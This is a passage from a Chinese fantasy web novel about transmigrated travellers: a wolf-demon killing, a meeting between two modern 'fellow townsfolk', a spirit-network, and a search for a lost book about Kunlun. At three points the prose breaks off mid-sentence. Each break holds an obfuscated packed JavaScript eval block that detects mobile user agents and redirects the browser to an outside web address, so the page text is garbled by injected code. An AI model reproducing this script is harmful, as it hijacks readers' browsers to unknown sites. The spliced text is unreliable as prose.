孟十八哪受得了这个,连带着龙离渊给她取绰号的事也没追问,专门去给人挑好最温顺的白马,自己走在前面开路。 只是苦了叶轻舟,圣女演富家公子演得不亦乐乎,他在后面cos劳力挑夫,苦中作乐让系统放着《西游记》的BGM增加代入感:孟十八是孙猴子,他是沙僧兼猪八戒。 “叶轻舟,”孟十八看了看天色,落后几步:“我们今天能走到云蝶镇吗?” “能啊,”叶轻舟把地图打开,“我们在这,等会路过齐家村,再往前几十里就到镇上,到了云蝶镇就算摸到琅琊郡的边。” 他俩说话没避着,龙离渊自然也听得到,想到自己百般拖延时间居然还不能上演林中过夜这一出,心里急得慌,恨不得现在从天而降七八个仙界大能,好陪她演戏。 “等会,”龙离渊手里马鞭遥遥一指,“我感觉那边不对劲,你去看看。” 她就是要把叶轻舟支开。 孟十八顺手扶她下马,“我没感应到仙界气息。” 那当然是因为压根没有仙界气息,龙离渊心里嘿嘿乐,嘴上却说:“侦查地形本来就是他分内之事,小木头,你累不累?” “龙……殿下,”孟十八换回原先的称呼,“你故意的。” 几日相处,孟十八隐约摸到点对方的想法,龙离渊对叶轻舟有意见,源头在自己身上,可是她还不确定,吸引圣女注意的,是孟十八,还是明灼。 巧合太多,再真挚的感情都会被掂量真伪,更何况龙离渊在魔界堪称一人之下万人之上,可在孟十八面前,她藏也不藏自己的小孩心性,即使被问是不是刻意针对,也会坦然回答: “对啊,谁要你不和我说话。” 龙离渊理直气壮。 “你还没说完呢,”她又道:“你昨晚刚说到第一次进深渊秘境,后面呢?” 后面是你睡着了,孟十八无奈,龙离渊每晚和她同榻共眠,还要撒娇说睡不习惯,想听故事,一双会说话的眼睛就这么瞅着她,换了谁也没法拒绝。 “后面也很无聊,”孟十八组织语言,“我进去,然后打了几架,就结束了。” 她之前就是过这种生活:杀人、夺宝。 龙离渊不满,她要听的是细节,正要追问,叶轻舟的声音从传讯符里传来: “这里不太对劲,有人死了。” 叶轻舟自诩见惯了杀人现场,但面对眼下惨景,忍不住干呕几声: 被啃食不成人形的尸体被随意抛在野外,土地里沁出不详的红色。 “被狼咬的吧。”龙离渊只瞧了一眼就偏过头,“也是可怜。” 孟十八将水囊递给叶轻舟,“这里的确古怪,如此惨状,却没有一丝血腥味。” 叶轻舟在边上喝水点头,在见到这片惨状前,他已经准备打道回府。 龙离渊却脸色一变,“没有血腥气?”怎么可能,她眉头一皱,凝神一探,“啧,有点麻烦了。” “是妖吃人。” 开了灵智的野兽草木,即为妖。 仙界无妖,是因为它们在仙界只能是被驾驭的灵兽。 魔界无妖,是因为魔界只以修炼划分,修魔者内没有人妖魔的区别。 而人间的妖,要么投奔魔界,要么死于仙界,经年以往,也销声匿迹。 不应该啊,龙离渊颦眉,以她功力,怎么可能探测不出妖物行踪,自己方才确实只是随手一指…… “我们追。”她施下追踪术,“先找到他们老巢。” 孟十八自然无异议,她见叶轻舟脸色惨白,“你先回去休息,我们之后联系。” 叶轻舟稳了稳心神,“好,我将他们先收埋,这些人应该与齐家村有关,我去问问情况,保持联系。” 三人到此分开,孟十八与龙离渊加快速度,沿着追踪痕迹急急而去。 半山腰处,隐隐传来打斗声,还夹杂着几句不熟练的叫骂。 “死狐狸,敢坏老子好事!” “咬不死你这个肉柴骨硬的狐狸精!” “疯子!神经病!杀人犯!”被追着打的男子边跑边喊:“等我把你们押送到长老面前——” 又是一顿狼毛狐狸毛乱飞的大乱斗。 龙离渊津津有味看了会,觉得分外亲切,没让孟十八动手,自己上前一拳打过去,二狼一狐立刻被分开,每个人都被捆好跪在地上。 狼耳还没收回去的两人先嚷嚷起来:“你是个什么东西?敢捆老子!”龇牙咧嘴威胁的时候还能瞧见没擦干净的血迹。 男狐狸精就老实许多,一张嘴全交代了:“二位侠士,我们只是山野精怪。” “山野精怪个屁。”龙离渊一脚踹过去,“你们怎么敢跑出来?还敢吃活人,胆子不小啊,背后靠着哪座大山?” 狼妖甲呸了一声:“你又算什么东西,我祖上可是侍奉过无上龙君,你们这些杂碎在她老人家面前一根手指就能碾碎!” 狼妖乙在边上得意地帮腔:“我看你们人类就是好日子过久了,我告诉你们,惹了我们就是惹了龙君!” 男狐狸精眼见龙离渊脸色越来越阴沉,为保命直接挪到孟十八腿边哀声求饶:“大人我错了我真的错了,我没管好这两个畜生让他们犯下了不可饶恕的罪过。”说着说着他还呜咽哭起来,“我错了,我真的错了,我若是一开始能约束他们,不,我要是能劝说长老不放他们出来,就不会有无辜性命死去,呜呜呜……” 孟十八听的心烦,拿剑鞘敲他闭嘴,“停,你老实交代,人是不是你们杀的。” “你最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173767|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好说实话,”龙离渊阴恻恻开口,连阳光都变得阴冷,“你不会想知道说谎的代价的。” 男狐狸精这下七分装哭变成了十成害怕,连忙道:“琅琊盛事将起,长老派我去琅琊郡探访故人,这二人也是与我一起出来历练的。” 他们原先就不对付,可是其他几妖需要留下镇守结界。一开始还好,从荒郊野岭到深山老林,三天一吵五天一打。等他们第一次来到人类居住的村庄后,狼妖兄弟越发控制不住本性,先是本相暴露,后又干脆在山上吃人,还理直气壮说山上本就有老虎野狼,人活该被吃的下场。 男狐狸精连忙补充:“我没吃过,绝对没有,千真万确,我被他们打得尾巴毛都秃了。” 龙离渊冷笑一声:“废物一个,拦都拦不住,要你何用。”扬手直接把两个狼妖打个半死,狐妖吓得哭天抢地,“大人,求你了,等此间事了,我们性命任凭大人处置,但是现在……” “你这个废物,居然还求饶,”狼妖奄奄一息还不忘嘲笑,“就算真出了事……” “够了。”孟十八的剑已出鞘,“你,”她指了下狐妖,“按照你们的规矩,该怎么处置。” “死。”龙离渊冷声道。 “……杀人偿命,唯有一死。”狐妖哆嗦接道。 孟十八又问:“那你自己呢。” 狐妖颤颤巍巍:“活罪难免……” “呵。”龙离渊打断话题,“孟十八,你去找叶轻舟,我单独和他们聊聊。” 孟十八攥着剑柄,“这里是人界,你万事小心。” 龙离渊微微点头。 狐妖哆嗦起来,他的靠山没了,虽然不知道面前两个女人什么来历,但他看得出来,佩剑女子才是好说话的那个,可偏偏留下的是这个…… “最后一次机会,”龙离渊踩在他的脖子上,“是谁让你们从结界里出来的?” * 孟十八和叶轻舟站在田边,叶轻舟满腹疑问,孟十八心中也疑虑颇多。 叶轻舟先开口道:“你们走后,我又检查了一遍现场,没有魔气或仙气的残留。”系统里资料卡更新,告诉他妖的准确划分,也提到了几千年前的妖界在仙魔两界的战争里消失。 “也不像灵力,”叶轻舟犹豫道:“真的是妖?人形?”听上去怎么像僵尸吃人,怪恐怖的。 孟十八点头:“他们的确能化人形,口吐人言,也开了灵智,争斗间也不像野兽撕咬。” 有脑子的僵尸,更可怕了。 “圣女是准备把他们全解决了?” 孟十八没回答,这是她最奇怪的地方:有一群妖住在一起,而三界竟然毫不知情。 龙离渊的愤怒绝不是因为有人惨死,她在愤怒什么? 两头死去的狼被扔到村口。 龙离渊脸色阴沉:“我们走吧。” 该死的,她没有心思再骑马,脑子里绕着狐妖那句话: “结界破了……” “只有琅琊郡主,有办法救我们!” 胡说八道,龙离渊咬牙,当时救你们的,明明是孟危! 19. 老乡 龙离渊心中有事,三人加快行程,提前到达琅琊郡。 进城前圣女发话,琅琊盛事开始前他们不用时刻守在她身边,有事传讯符联系。四舍五入就是免费旅游,叶轻舟一进屋忍不住感叹:果然不管是什么世界观,都是五星酒店最舒服,还不用自己付钱,怎一个爽字了得。 他索性往床上一靠,投出系统地图,要是这里也有个大地瓜软件该多好,他只需要跟着一路吃吃喝喝种草拔草。 不知道孟十八有没有兴趣,他心念一动,用传讯符发消息,自己对着系统资料卡研究起来: “没想到你正事不顶用,当个旅游向导倒不错。” 系统:【检测到琅琊郡地图】 “我不会接任务的,你死心吧!” 【琅琊郡区域任务已刷新,可随时接取】 “人性化服务到底在哪里?” 【权限不足,请多多完成任务获取经验进行解锁】 好邪恶的系统,叶轻舟撇撇嘴,继续研究起他的吃喝琅琊一条龙攻略。 人间美食,仙界奇珍,魔界……魔界没有好吃的。 如果拿他生活的现代来对比,人间美食可以参考他的故乡,仙界类似于米其林餐厅,每一道菜的故事都比分量多,好吃的也不是没有,比如云霄门的食堂就以卤牛肉出名…… 咕咕一声,叶轻舟敲了敲自己脑袋,哎呀,把自己说饿了。 正好他去尝尝这琅琊郡五星酒店的味道。 明月高悬,天色已晚,福满楼里人声鼎沸,推杯换盏,笑语不断。 跑堂的伙计眼尖,见到有贵客下楼,连忙迎上去:“客官,您想要点什么?” 叶轻舟坐下后先喝了口茶,新奇道:“这是什么茶水?” 伙计笑道:“这是咱们新出的节气水,按照人间节气变化顺应天时而做。” 叶轻舟觉得好玩,让他再送一壶到自己房内,又点了几样招牌菜,伙计乐呵呵退下。 入城时只顾跟着龙离渊,如今仔细一看,戴冠的披发的扎马尾的,叶轻舟摸了摸自己发冠上垂下的流苏,时尚真是个圈,怎么仙界又流行起扎马尾了?看这穿金戴玉的,哎呀,仇富。 “你这黑心店家,一碗青菜敢卖五两银子!” “你看看你这牌上写的是什么!” 叶轻舟探出头,一楼大堂里有人对着伙计囔囔:“赔钱!” 被揪着的伙计赔笑道:“客官,我们这是童叟无欺,统一定价……” “还敢顶嘴!你自己念念这叫什么名字!又归在什么里面!” “这……这不是珍珠翡翠白玉汤,”伙计脸上还挂着笑:“您要是不满意,我这就去找掌柜的来。” “不满意?老子当然不满意!” 那大汉身高八尺孔武有力,说的话却越来越没道理,叶轻舟听了半天,起因是这汉子误以为珍珠翡翠白玉汤是真的有珍珠翡翠,后来发现连盛汤的碗都不是白玉做的,觉得自己丢了面,一怒之下找伙计发火,掌柜出来解释免单,他犹嫌不够,认为伙计敷衍掌柜轻视,三言两语下竟是撸起袖子要动手。 “罗里吧嗦的,死要面子活受罪。” 啪的一声,这肌肉汉子顿时成了怂货包子,一个手持擀面杖的女子半挽着袖子,拖着他衣领往外拖,嘴巴不停: “差不多得了,当我没看见你还开了三瓶酒吗,以为自己穿着油头马面就能装大款了是不是!” “钥匙十块钱三把你配几把啊!” 叶轻舟乐出声,问给他上菜的伙计是怎么回事。伙计压着声音说: “那人其实压根没点那道菜,就是奔着惹事免钱的。” 转脸又推销起来:“客官不如来试试,本店不仅有独家珍珠翡翠白玉汤,还有特制宫廷玉液酒,猜对价格即可畅饮!” 宫廷玉液酒? 叶轻舟不假思索:“一百八一杯!” 等等,他的笑容僵在脸上。 这不是祖传的暗号吗! “这是谁规定的?这酒是从哪里来的?!” 伙计没想到他问得这么急切,以为是个酒鬼,忙道:“您别急您别急,她马上就来。”说着对下面招了招手:“瑶姐,这里有人找你。” 被称作瑶姐的正是手持擀面杖的女子,她也不走楼梯,脚尖一点就上到二楼:“什么事?” 伙计迅速说了一遍,瑶姐脸色不变,让他先下去,自己坐到叶轻舟对面道: “宫廷玉液酒?” “一百八一杯!” “这酒怎么样?” “听我给你吹!” “天王盖地虎!” “宝塔镇河妖!” “同志!” “老乡!” 两双热泪盈眶的眼,两个身处异乡的灵魂,两双紧握着的双手。 叶轻舟激动不已,他从未想过自己真的能再见到一位老乡,“我叫叶轻舟,你好你好。” 女子同样激动,“你好你好,我叫君瑶,穿来的时候20岁,你呢。” 叶轻舟算了算,“我是22岁,大学刚毕业,一觉醒来还是胎穿,现在又二十多了。” 君瑶惊讶:“你真是辛苦了,我来这就四年我都受不了。” 二人一对时间,发现也就差了几个月,君瑶道:“我之前在人间生活,原身是练刀的。” 她拿的剧本是经典复仇主角,只因一本传奇刀谱,家破人亡,只有君瑶当时侥幸逃脱。 “后来我替她报了仇,自己身上又背着血债,一人一刀,跑到这里来当厨子了。” 君瑶笑道:“这珍珠翡翠白玉汤和宫廷玉液酒就是我想的主意,我就不信这世界上只有我一个穿越的。” 叶轻舟道:“我就简单多了,先是胎穿失忆,在云霄门上学,后来在秘境里恢复记忆,被系统坑去魔界,现在在魔界上班。” “系统?”君瑶眼睛一亮:“你也有系统?” 叶轻舟点头,“你也有?那太好了,我们可以一起研究。” 两个人越说越激动,一路说回叶轻舟住的房间,君瑶啧啧称奇,“可以啊,这几间房可是提前一年就订满的。” 叶轻舟拱手笑道:“老板给力我蹭光。” “琅琊盛事?” 叶轻舟点点头,“公司机密。” 二人进了屋,叶轻舟的房间是内外套房,外间可做会客室,他关好门,又特意加了几层防护罩,这才坐下道:“我的系统是这样的,”他投出自己的系统界面,“还发了个莫名其妙的任务给我。” 君瑶哇的一声感叹:“这不就是游戏系统吗,这么爽,给我玩两天。” “?” 面对叶轻舟疑惑,君瑶摇头叹道:“你看我的。” 君瑶的系统也是一个界面,上面干干净净一穷二白,只有一行字: 【好感度:0】 君瑶手一摊:“我也想体验RPG开放世界,我不要玩旮旯嘎木也不要玩乙游哇啊!” 叶轻舟苦笑安慰:“其实我也没好到哪去。” 他叹气:“系统给我的任务,是要我去复活魔尊。” 这下“?”的轮到君瑶了。 “复活谁?孟危?”君瑶瞪着眼睛:“你怎么不去复活秦始皇v你50呢?” “是吧!”叶轻舟哀嚎起来:“这事真的特别离谱,我上次差点被系统坑到没命。” 他干脆把武陵的事说出来,隐去孟十八那部分没提,君瑶嘴巴微张:“老乡,你可以啊。” “你上新闻了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182698|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武陵一事牵扯甚广,琅琊郡自然也不会错过消息,各种风闻小报君瑶之前看得津津有味。 “老乡,你其实在干007吧。” 我要是有邦德那么帅倒好了,叶轻舟顺着吐槽:“老乡你这系统怎么办,是不是也跟我之前一样没触发剧情?” 在遇到万魂幡前自己系统就跟死了一样,白花他大量时间在修仙世界钻研机械物理。 “借你吉言,让我也早点进主线吧,我都不知道这是什么地方,我也没少看小说啊。” 说到这个叶轻舟就有发言权:“这我知道,这小说叫《神魔》,系统上次发奖励把全文txt给我了。” 他又说:“咱俩要是能加个好友我就能把资源发你了。” 别提了,这系统现在还装死,也根本没有好友栏。 “诶,我有个办法。”君瑶眼睛一亮,“我们琅琊郡内倒是有这个像互联网的灵网,明天我带你去办电话卡。” “你要不先和我说说,这是什么类型的,我先有个心理准备。” 叶轻舟把系统界面放大,调到原著部分:“男频修仙龙傲天,我全文检索过,没我们名字。” 君瑶饶有兴趣地凑上来,“怎么又是神尊又是魔尊,哦,这是男主。” 叶轻舟在边上吃饭吐槽:“我穿之前手机小广告看过开头,谁知道眼睛一闭一睁就来了。” “嗨,这算什么,”君瑶拉着进度条:“我穿之前还在玩游戏没存档呢。” 身为女大,君瑶的阅读速度极快,加之她沉迷网文多年,百万字小说被她看了个开头结尾就能咂摸出大意:“这不西游记吗,主角经历九九八十一难成神,关我们穿越者什么事?” “难道说,我们才是真正的主角?” 经常有这样的小说,君瑶给叶轻舟科普,主角穿越小说,要么夺走原主机缘,揭露原主邪恶本质,要么与原主相亲相爱,攻击真正的反派,要么……她故作深沉: “其实最近特别流行穿越主角攻略大反派的。” 至于流行的穿越主角是女是男你别问。 叶轻舟哈哈一笑,原地摆烂:“不救,不攻略,不走主线。” 反派盛行洗白风向,害人是被迫,杀人是无辜,叶轻舟理解不能,更何况孟危此魔坏得理直气壮,天天带着十万冤魂的万魂幡出场,生怕大家忘记她爱好杀人。 “别气馁,我给你数数一般洗白的理由,”君瑶在旁边掰指头:“原生家庭不幸,所以报复社会。” “原生家庭幸福但是没了,也会报复社会。” “身边没朋友,报复社会。” “身边有坏人,也会报复社会。” “有个死了的白月光,会报复社会。” “白月光没死但分道扬镳,那就用报复社会来报复白月光。” 她越讲越高兴,“原著里孟危最后不还是复活了吗,诶,说不定啊,就是那种爱人祭天法力无边,复活吧我的——” 叶轻舟捂住耳朵,非常无助:“我求你了。” “但是这个孟危,有没有可能,她就是……” 他想说天生坏种,但是莫名的,孟十八的脸闯入他的脑海中。 万魂幡的碎片还在她身上,离救赎孟危这个任务最近也最不可缺的人,其实是她。 嘴边的话说不下去了,嘴里甘甜的茶水也变得没味。 君瑶问他:“你怎么了?” 叶轻舟支支吾吾,“我想起我搭档了。”他决定岔开话题: “琅琊郡有没有治疗失忆的医院?” 君瑶想也没想:“城中心的杏林堂,包治百病。”说着她突然跳起来: “完了!” 她惨叫一声。 “我炖在炉子上的锅!” 20. 灵网 孟十八醒来时,晨光熹微。 她又梦到了明灼。 只不过这次不再是雪山,也没有师尊的出现。 她在一个热闹而温暖的地方,有很多生灵围绕着她——她们,她身边还有一个人,和她兴致勃勃地分享见闻。 可惜没有看见那个人的长相,孟十八按着额角,心里还残留着真切的喜悦。 难得身处任务,却无事可做。昨夜龙离渊说今日要单独与人见面,叶轻舟之前提议的游玩计划她又拒绝了。 孟十八提剑下楼,大堂冷冷清清,街上的早点铺也才燃起第一缕炊烟。 “您不是本地人吧?”卖早点的大娘热情介绍起来:“南边的游春园可是咱们这一绝,一定要去看看,现在天气正好。” 孟十八接过早点,试探问道:“我想去找些孤本书籍,您知道往哪走吗?” 大娘停下动作,想了会:“文华街有个大书局,除此之外,正好,你等会,”她侧身对着里面喊:“瑶瑶,你之前淘旧书是在哪个地方?” “啊?”里间走出个女子,两眼无神,显然一夜未睡,“明理书肆,怎么了?”她说完遮住一个哈欠。 大娘示意孟十八:“人家第一次来琅琊,问问哪里有孤本。” 被称作瑶瑶的女子对上孟十八的视线,哦了一声:“你要找什么类型的?” 孟十八没有说话,她直愣愣地看向对方。 天光微明,细碎地洒在她身上,没有珠钗,没有金银玉器,一身最寻常不过的布衣,一双最普通不过的眼睛,可孟十八无端觉得,这是她必须记住的样貌,是空荡荡的心房里,最能填补的一块。 明明初次相见,却似久别重逢。 她急切地,近乎失态地问道:“你叫什么名字?” “我叫君瑶。”君瑶昨晚和叶轻舟聊上头差点没救回自己炉上的饭菜,刚下班回家准备补觉,头脑昏沉自然也没注意到孟十八的异常,“你去文华街,如果书局里没有,就去旁边的明理书肆,那里的老板和我老相识,再没有的话就等到下午他们摆摊的时候,说不定有真货。”她又打了个哈欠,开玩笑道:“当然了,你也可以去琅琊会下挂个委托。” 孟十八轻声道:“我知道了,不打扰你休息了。” 君瑶摆摆手,“不是大事。”又对早点铺大娘说:“姨,东西我都放好了,先回去睡觉了啊。” 孟十八目光追着她的背影,问道:“她是……” 大娘笑道:“瑶瑶可是隔壁酒楼的大厨,手艺那可是数一数二的好。”语气里满是骄傲:“可不是我开玩笑,就连城主举办宴会,也要提前预约她有没有时间。” “对了,”大娘想起来,“你们外地人老是忘,来琅琊最要紧的是连上灵网,街头那处就能办理,可方便了。” 隔壁酒楼不就是自己住的地方吗,孟十八记下,道谢离开。 灵网,顾名思义,以人为点,灵气相连,结为信息网。 街头一出小门面里坐着女修,要过孟十八的路引文书,用法器测过,又问她要什么形状:“这种香球形状的最常见,贵一点也有这几个玉佩款式,只不过这都是个承接形式,不必太花钱。” 孟十八问:“这只能在琅琊内通用?” 女修点头,“出城后自动断连,不过你如果和其他人连上关系,出城后也可以进行沟通。”她演示出界面,二人面前顿时投出一块光幕:“这里是大众线上交流的地方,不是实名。这里是结为好友一栏,只需要你们用灵网石对碰,再各自确认就好,以防误触。” 孟十八选了最简单的挂坠,按照流程输了一道自己的灵力进入,果然自己面前也投出一块光幕,各式各样的讯息出现在她面前。 “办理是五两银子,每月维持是一块灵石。” 女修接过碎银,最后嘱托道:“灵网信息有真有假,遇到欺诈请及时去衙门报官。” 办完流程,天光大亮,孟十八转向文华街。 习惯于刀剑为伍的杀手自然不熟悉和书籍打交道,她看着书籍标题翻开,可哪里晓得,有些书题目一本正经,内容却是大吃一惊:痴情人无情剑,无情更比有情累,孟十八读得头昏脑胀,不见题目中昆仑二字到底在何处出现,只看出其中主角爱得疯狂。 无奈,只得转战明理书肆。这里比起书局,更加拥挤,呼吸间带着墨香,也不像大书局里还有伙计学徒四处打扫,只有一人懒洋洋坐在书堆里捧书多懒,听见有人进来眼皮也不抬一下:“想找什么?” 孟十八:“我要找和千年前有关的书,和昆仑有关。” 女人抬起眼睛,像只慵懒的猫:“昆仑?话本子有不少,史书嘛……”她打量起对方,“你是玄明孟家人?” “不是。” 女人笑了声,“那你对昆仑感兴趣?我看你也不像学堂的学生。” 孟十八无意纠缠:“你这里有没有。” 女人懒散道:“没有,请去别处吧。”摆明了逐客令。 孟十八扫过层层叠叠宝塔般高的书堆,又道:“是君瑶介绍我到这里的。” 女人哼笑:“你是外地人。” 孟十八点头。 女人又道:“魔修?” “是。”孟十八问:“你怎么猜到的。” “衣服审美,”女人笑道:“还有我的直觉:仙界人通常高高在上,不会光顾我这小门小户,人间的来者也不会一开口就问昆仑,所以答案显而易见。” “最重要的是,我也是魔界来的。” 孟十八颦眉,“你身上并无魔气。” 女人哈哈一笑:“我就猜到你会这么说,坐下聊吧。” 女人名叫苏横流,是土生土长的魔界人,定居琅琊只是因为爱看书,而魔界书籍种类少。 “我是追着一本书来的,可惜这么多年过去,还没攒够钱。” 孟十八不禁问道:“什么书?” 苏横流摇着食指:“一本你也很想要的书。” 一本记录着昆仑,记录着神尊陨落的书。 《子归笔记》 作者子归究竟何许人也,已经无从考证,连带着这本书是否真实存在,也成为一桩谜题。 “但孟明远写给友人的信件里提过这本书的存在,以他的地位,人们自然对此书趋之若鹜。”孟明远是神尊孟君时的首徒,也是玄明孟家的创始人。 “据说上面记载着昆仑真正的位置,记载着天梯的存在。” 孟十八想起龙离渊对自己说的话,琅琊此行的目的,是为了寻找昆仑,寻找天梯。 “这本书,它在琅琊?” 苏横流摇头,“我不确定。” 在几百年前的一次琅琊盛事上,一本无字天书被当时仙界冠以救世主之名的柳原拍下,此后一直传言这就是《子归笔记》,柳原从中觅得天机,踏上寻找天梯之旅。 救世主,这次琅琊盛事的压轴,不就是这位救世主有关的地图吗? “只可惜柳原死在路上,不见尸骸。”苏横流最后总结:“他的魂灯熄灭,什么都没留下。” 孟十八只问:“你为何追它而来,甚至定居于此数年?” “好奇,”苏横流道:“一样所有人都想得到却得不到的东西,本身就是一个精彩的故事。” “更何况这里的确不错,我每天晒晒太阳玩玩灵网,比在魔界舒服多了。” 孟十八眼睛不眨地看着她: “你知道我是来参加琅琊盛事的。” “你故意告诉我这些,为了什么?” 苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184431|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 横流脸色不变,仍是懒洋洋的一张笑脸:“这不是明摆着的?” 你啊,她倒了杯茶推过去,“看上去就是天天呆在魔界,没晒到什么太阳,有一种缺少常识的美,”说着她嘿嘿一笑,“再说了,谁不知道一牵扯到昆仑,跑得最欢的就是咱们魔修了。” 因为这是孟危的遗愿。 “可是,为何不会怨她……”苏横流自言自语般说着:“我一直想不明白,是她断了三界飞升之路,又为何事后反悔,发疯找寻。” “弥补失误。”孟十八接道,她神色淡淡,半点也没有背后谈论魔尊的自觉,“我不在乎,既然我已经有了线索,先行告辞。” 苏横流摆摆手,“有消息来找我啊,对了,”她翻出一块香球,“加个灵网好友。” 孟十八的好友列表里出现了第一行字。 第二个好友是叶轻舟。 他一口气睡到晌午,在联网回来的路上碰到孟十八,加好友时还吐槽道:“他们怪贴心的,还分段收费。” 他见孟十八疑惑,就知道自己搭档绝对是一句没多问,解释道:“凡人也可以连接,一个月五个铜板,仙界修士和魔界的价格又有差别,短住与长居的价格又不一样。” 他扒拉两下光幕,颇有在现代玩论坛的感受。 而且可以完美隐蔽他的系统,呜呼! 孟十八见他满脸兴奋,只当是新奇。自己回到屋内,打开灵网,搜索起来: “昆仑、子归笔记、琅琊盛事” 她一目十行扫过,记下几本市面售卖的书籍,又换了关键词: “柳原、救世主” 这下内容更少,大多是数百年前人们的揣测。 孟十八的目光停留在最新的一条讯息上: “是未来救世主还是下一个伤仲永?仙门天才为何沦落至此!” 文章洋洋洒洒描写一位颇有名气的天才修者来到琅琊不久就遭逢突变,天翻地覆,从锦衣玉食到跑堂伙计,笔者在长乐坊遇到他时简直不敢相信自己双眼,于是写下此文分享。 下面的留言也五花八门,有人说活该长乐坊这种地方也敢去;有人说造谣一张嘴,一眼假消息;也有人在猜测这个未来救世主是谁,仙界人跳出来说别瞎讲,仙盟大比还没开始不要随意按头衔。话题从此越来越偏,大家开始分析起仙盟各门派的实力。 孟十八迟疑片刻,又搜索起长乐坊。 夜幕降临,各处张灯结彩,长乐坊更是金碧辉煌,门匾上的字都泛起金光。 这是琅琊郡最富盛名的赌坊,踏入此门,命不由己只由天。 微妙的直觉催促着她,她在搜索后联系了苏横流,书肆老板劝她查消息可以,千万别碰,“你说的那篇文章我看了,半真半假吧。” “神尊陨落后,仙界几千年也就出了一个救世主,现在如果真的有第二个,早就传得沸沸扬扬。” 苏横流声音里没了笑意:“你不会不知道,仙界救世主的职责吧?” 孟十八沉默,“我知道。” 所谓救世主,降妖除魔,护卫苍生,最重要的职责,就是杀死魔尊。 现在孟危死了,如果有新的救世主…… 怀中的魂幡碎片隐隐发热。 孟十八低声道:“我知道分寸。” 她走进长乐坊。 长乐坊的某处角落里,一个少年正被领班责骂: “不要以为你吹嘘自己是什么燕家少爷就能逃跑,还清钱之前你就老老实实认命吧!” “就算你是燕家那个天才燕南陵都没有!滚去擦地!要跪着擦!” 少年咬紧牙关,眼里露出一丝狠意。 “知道了,”燕南陵低声应道:“我一定,保证你满意。” 他一字一顿道。 21. 男主 长乐坊金玉其外,内在别有洞天。 日月星辰,春夏秋冬,长乐坊内部完全是一个独立的小世界,抬头是不落的太阳,入目是多姿多彩的景色。熏香缭绕,琴音悠扬,让人不自觉放松下来,想坠入这无梦的温柔乡。 俊俏的小哥迎上前,衣服上绣着金纹,一路顺到腰际,一条玉带掐出一把细腰,面上自带七分笑,殷勤称呼孟十八为贵客。 何处赏景何处品茗何处娱乐,孟十八尚未开口,他已经介绍得清清楚楚,听到孟十八只是来找人,依旧笑盈盈地为她登记。 孟十八屏息凝神,路过炫目华丽的四季之景,通过喧嚣不断的长廊,绕过眼神迷离的赌客,在热气腾腾的饭桌前找到了自己的目标:写下那篇文章的作者。 “痴雨居士。” 碗筷盘碟后,露出一双迷茫的眼。 女子脸色红润,眼尾还残存着满足,手上还端着半盘没解决的鱼,她胡乱打着手势,拿起手边的五彩果汁喝了一口,“是你找我?” 孟十八点点头,她等对方放下筷子后道:“我找你打听关于救世主的事。” “咳咳咳咳!”痴雨居士发出惊天动地的咳嗽声,两眼很快冒出泪花,“你,你让我先歇会。” 她苦着脸说:“这是限时活动,你再等我半刻钟。” 孟十八没反应过来,她光顾找人,现在才注意到大堂门口挂着木牌:鱼虾海鲜不限量,一时辰只需半两银。 再看这位痴雨居士面前,鱼骨虾壳垒成小塔,叠在蟹壳里,葱姜蒜醋样样不少,海腥味冲淡了长乐坊里的熏香气,配上她食欲大动的吃相,不像在赌坊,倒像在福来客栈的后厨。 半刻钟后,女人意犹未尽地喝完最后一口五彩果汁,起身道:“去我的房内聊吧。”她走在前面,“对了,别叫我这个名字。” “我名花无定,阁下怎么称呼?” 孟十八习惯性打量一遍花无定的房内,确保安全性。之前她见长乐坊四处封闭,窗户也无,莹莹闪烁的天花板后倒是藏了不少监视法器,想来是为处理各种纠纷。 “明灼。”孟十八确认无恙后方坐下道:“现在可以说了?” 花无定呃了两声,“我没说假话,这里的确有个小哥是仙门世家出身,被坑来打杂工。” 那小孩怪惨的,她补充,好在脸没事。 孟十八对这种细节漠不关心,只问:“你为何会用救世主这个称呼。” 仙界门派世家众多,少不了为自家后辈造势者,每年都会出一大批“天才”、“智者”,连“古往今来第一人”这种称号都算不上新鲜。 唯独“救世主”不同,这个词在千百年来只与柳原有关,他是天命之子,是仙界的希望,是神尊预言里那个会终结暴行的救世主。 可是柳原消失了,死了,他的魂灯熄灭,尸骨无存。 魔界嘲笑仙界的愚蠢,嘲笑他们相信一个死人的预言,嘲笑他们的救世主甚至未对上魔尊就已死去。 仙盟同样发生了争斗,他们不愿意相信这个出师未捷身先死的悲剧,有的人无法接受这样的天意。 花无定的神色变了,她从慵懒的猫变成观察的豹,她同样在推测孟十八的身份与目的,是仙是魔,是敌是友。 